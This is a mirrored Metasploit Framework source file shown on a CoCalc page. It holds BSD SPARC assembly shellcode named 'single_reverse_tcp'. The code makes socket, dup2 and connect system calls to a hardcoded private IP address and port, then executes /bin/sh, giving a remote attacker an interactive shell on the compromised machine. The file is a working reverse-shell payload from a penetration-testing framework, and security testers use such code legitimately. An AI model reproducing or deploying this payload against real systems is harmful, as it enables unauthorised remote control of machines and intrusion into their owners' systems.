CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/bsd/sparc/single_reverse_tcp.s
Views: 11784
1
##
2
#
3
# Name: single_reverse_tcp
4
# Platforms: *BSD
5
# Authors: vlad902 <vlad902 [at] gmail.com>
6
# Version: $Revision: 1652 $
7
# License:
8
#
9
# This file is part of the Metasploit Exploit Framework
10
# and is subject to the same licenses and copyrights as
11
# the rest of this package.
12
#
13
# Description:
14
#
15
# Single reverse TCP shell.
16
#
17
##
18
19
.globl main
20
21
main:
22
andn %sp, 7, %sp
23
24
xor %o3, %o3, %o2
25
mov 0x01, %o1
26
mov 0x02, %o0
27
mov 0x61, %g1
28
ta 0x08
29
30
st %o0, [ %sp - 0x08 ]
31
mov 3, %o1
32
dup2_loop:
33
subcc %o1, 1, %o1
34
mov 0x5a, %g1
35
ta 0x08
36
37
bnz dup2_loop
38
ld [ %sp - 0x08 ], %o0
39
40
set 0xff027a68, %l0
41
set 0xc0a8020a, %l1
42
std %l0, [ %sp - 0x10 ]
43
sub %sp, 16, %o1
44
mov 0x10, %o2
45
mov 0x62, %g1
46
ta 0x08
47
48
xor %o3, %o3, %o2
49
set 0x2f62696e, %l0
50
set 0x2f736800, %l1
51
sub %sp, 0x10, %o0
52
sub %sp, 0x08, %o1
53
std %l0, [ %sp - 0x10 ]
54
st %o0, [ %sp - 0x08 ]
55
st %g0, [ %sp - 0x04 ]
56
mov 0x3b, %g1
57
ta 0x08
58
59